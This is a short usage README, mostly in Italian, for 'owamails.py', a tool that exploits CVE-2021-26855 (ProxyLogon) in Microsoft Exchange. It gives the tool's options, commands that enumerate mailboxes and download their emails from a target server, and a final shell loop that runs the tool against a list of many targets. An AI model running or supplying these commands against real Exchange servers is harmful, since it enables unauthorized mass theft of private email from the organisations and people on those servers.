CVE-2021-26855-d

Uso base: python owamails.py -u <url> -l <users.txt> -p <path>

Argomenti opzionali:

  -h, --help            show this help message and exit
  -u URL, --url URL     Url, provide schema and not final / (eg
                        https://example.org)
  -l LIST, --list LIST  Users mailbox list
  -p PATH, --path PATH  Path to write emails in xml format
  -f FQDN, --fqdn FQDN  FQDN
  -d DOMAIN, --domain DOMAIN
                        Domain to check mailboxes (eg if .local dont work)

Controlla le caselle email e scarica le email

base:

python owamails.py -u https://127.0.0.1 -l users.txt -p downloads

per non ottenere il dominio dagli header:

python owamails.py -u https://127.0.0.1 -l users.txt -p downloads -d mydomain.local

per non ottenere il FQDN dagli header:

python owamails.py -u https://127.0.0.1 -l users.txt -p downloads -f EXCH01

massivo?:

for i in $(cat targets.txt); do echo $i && python3 owamails.py -u https://$i -l users.txt -p emails; done;